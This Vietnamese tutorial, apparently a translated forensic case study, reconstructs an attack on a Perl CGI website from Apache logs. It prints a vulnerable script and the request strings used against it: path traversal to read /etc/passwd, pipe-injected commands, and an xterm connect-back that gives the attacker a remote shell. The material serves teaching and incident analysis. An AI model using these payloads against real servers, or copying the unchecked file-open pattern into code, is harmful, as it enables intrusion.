Những người lập trình của Acme Art sử dụng Perl CGI script để xây dựng website trực tuyến và chạy nó.. Attacker ko duyệt theo đúng link của trang web mà thay đổi nó như trên , kết quả đư
Trang 1Group (d)
10.0.1.21 - - [31/Oct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi
HTTP/1.0" 200
358
Group (e)
10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET
/index.cgi?page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723
Group (f)
10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-
la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228
10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-
display+10.0.1.21:0.0+%26| HTTP/1.0" 200
Chúng ta đi theo những chuyên gia để thấy hacker làm thế nào
Site www.acme-art.com chạy Apache 1.3.12 trên hệ thống Linux Những người lập trình của Acme Art sử dụng Perl CGI script để xây dựng website trực tuyến và chạy nó Những log files cho chúng ta thấy sự tấn công bắt nguồn từ địa chỉ
10.0.1.21 lúc 3:02 A.M., trước hết attacker duyệt trang web Những log files có năm mục đầu tiên (group a) chỉ ra rằng attacker đang xem trang chủ của website và
1 số ít hình ảnh trong đó :
Code:
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200
3452
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200
8468
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200
6912
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200
7891
Nếu chúng ta tái hiện lại hành động của hacker , cho chúng ta nhìn thấy từ điểm của hacker đang duyệt web :
Figure 0-1 Acme Art, Inc.'s home page
Trang 2Bốn mục tiếp theo của nhóm b được tạo ra do hacker click vào một số liên kết trên trang chủ :
Code:
10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"
200 610
10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"
200 652
10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200
36580
Bức ảnh thứ 2 cho ta thấy attacker đã click vào link "Golden Sunset, in oil" từ trang chủ Acme Art's
Figure 0-2 Clicking on a link
Tại điểm này thật khó xác định chủ ý của hacker bởi vì anh ta ko làm gì khác
thường Mục tiếp theo ta thấy một sự thử truy cập vào thư mục /cgi-bin/ Web server từ chối yêu cầu này vì kết quả trả lại báo lỗi HTTP 403 error
Mã đáp lại :
Code:
10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272
Bây giờ hacker bắt đầu di chuyển Nó có vẻ như anh ta đã khám phá ra sự bất thường đầu tiên Trước hết anh ta xem URL : http://www.acme-art.com/index.cgi Một lát sau đó phát hành một yêu cầu cho
http://www.acme-art.com/index.cgi?page=index.cgi Attacker ko duyệt theo đúng link của trang web
mà thay đổi nó như trên , kết quả được trả về trên trình duyệt của anh ta (source code của file index.cgi bị lộ ra):
Trang 3Figure 0-3 Source code of index.cgi disclosed
Màn hình trình duyệt chứa bộ mã nguồn của "index.cgi script!" Attacker thấy rằng index.cgi chấp nhận một tên file như một tham số trình bày nội dung của file
đó Anh ta sử dụng chính index.cgi để trình bày mã nguồn của chính nó Xem xét
mã nguồn của file index.cgi lộ ra chỗ yếu như sau :
Code:
01: #!/usr/bin/perl
02: # Perl script to display a page back as requested by the argument
03:
04: require " /cgi-bin/cgi-lib.pl";
05:
06: &ReadParse(*input);
07:
08: $filename = $input{page} ;
09: if($filename eq "") {
10: $filename = "main.html";
11: }
12:
13: print &PrintHeader;
14:
15: $filename = "/usr/local/apache/htdocs/" $filename;
16: open(FILE, $filename);
17: while(<FILE>) {
18: print $_;
19: }
20: close(FILE);
Chỗ yếu ở trong sự kiểm tra của những tham số được chuyển qua trên file
index.cgi Tên file được chuyển qua trong khi một tham số từ URL được bắt trong biến $filename dòng số 8 , nối vào đường dẫn tuyệt đối : "/usr/local/apache/htdocs" tại dòng 15 và được open tại dòng 16
Trang 4Trong số các thứ xuất hiện đầu tiên từ attacker là khả năng khai thác những
arbitrary files (file hệ thống) trên Web server Và attacker đã thực hiện chính xác Những điều này được thấy trong những log files tiếp theo (group e) :
Code:
10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET /index.cgi
page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723
Ở đây anh ta sử dụng trình duyệt để gửi yêu cầu
Code:
http://www.acme-art.com/index.cgi?page=/ / / / / / / / / /etc/passwd
File passwd được trả lại và được hiển thị trên trình duyệt (ảnh 4) :
Figure 0-4 Attacker recovering the /etc/passwd file from Acme Art, Inc.'s server
Nhưng hành động hack ko chấm dứt ở đây Một chỗ yếu ẩn dấu nữa được khám phá Sử dụng một số kiến thức của Unix và Perl Attacker thực thi một câu lệnh (arbitrary commands) đến Web server Hai yêu cầu tiếp theo được làm bởi
attacker (group f), minh họa khả năng này :
Code:
10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET
/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228
10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET
/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26| HTTP/1.0" 200
Thay vào đó việc cố gắng mở những file điều khiển (arbitrary files) Attacker sử dụng đặc tính pipe character " | " trong tham số file , đi theo những lệnh mà anh ta lựa chọn Bây giờ thay vì mở file , Perl mở ra 1 file handle , mà nhận đầu ra là được phát sinh bởi những lệnh chỉ rõ trong tham số Hai yêu cầu được gửi bởi attacker , trước hết :
Code:
http://www.acme-art.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
Trang 5Attacker chạy 3 lệnh Unix cùng nhau :
Code:
ls -la /
id
which xterm
Những đặc tính pipe characters quanh tham số "page=" Lệnh được phân ra với đặc tính HEX "0A," mà đây là line-feed character Ảnh 5 bộc lộ ra những cái gì được hiển thị trên trình duyệt của attacker :
Figure 0-5 Output of "ls –la," "id," and "which xterm"
Kết quả hiển thị cho thấy liệt kê thư mục root của server từ câu lệnh "ls -la /" , kết quả của việc sử dụng lệnh "id" từ file index.cgi , và đường dẫn đến xterm từ câu lệnh "which xterm" Attacker bây giờ có thể chạy những lệnh (arbitrary
commands) tác động đến Web server dưới quyền của "nobody" account Sau đó anh ta quyết định sử dụng xterm để kiếm quyền truy nhập (shell access) tới Web server Yêu cầu cuối cùng thu được trên Web server của attacker là dùng xterm để tạo một kết nối (connection back) tới hệ thống của anh ta bởi việc gửi yêu cầu sau : Code:
http://www.acme-art.com/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26|
Câu lệnh dịch ra là : "xterm -display 10.0.1.21:0.0 &." Lệnh trên xterm được thực thi tới cửa sổ xterm của attacker về địa chỉ 10.0.1.21:0.0 Ảnh 6 biểu hiện attacker thấy gì :
Figure 0-6 Attacker launching an xterm and gaining interactive shell access
Attacker bây giờ có sự truy nhập tới hệ thống của Acme Art, Inc.'s với mức đầy đủ
Trang 6
Web server log kết thúc tại đây , nhưng chúng ta đã học được cái gì chúng ta cần